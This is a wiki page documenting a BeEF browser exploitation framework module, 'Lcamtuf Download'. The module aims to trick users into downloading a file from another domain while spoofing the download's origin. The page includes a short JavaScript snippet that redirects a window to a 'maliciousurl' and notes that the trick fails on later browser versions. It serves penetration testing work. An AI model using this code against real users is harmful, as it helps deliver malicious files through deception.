-
Notifications
You must be signed in to change notification settings - Fork 2.2k
Module: Lcamtuf Download
Haoxi Tan edited this page Jan 8, 2020
·
2 revisions
-
Objective: Trick the user into downloading a file from another domain
-
Authors: Bart Leppens
-
Browsers: Firefox, Chrome
points the targeted window to a cross-origin attachment download and try to spoof to source of that download to look like the current domain (doesn't work on later versions)
function doit() {
if (!beef.browser.isIE()) {
w = window.open('data:text/html,<meta http-equiv="refresh" content="0;URL=' + realurl + '">', 'foo');
setTimeout(donext, 4500);
}
}
function donext() {
window.open(maliciousurl, 'foo');
if (once != true) setTimeout(donext, 5000);
once = true;
}
- Configuration
- Interface
- Information Gathering
- Social Engineering
- Network Discovery
- Metasploit
- Tunneling
- XSS Rays
- Persistence
- Creating a Module
- Geolocation
- Using-BeEF-With-NGROK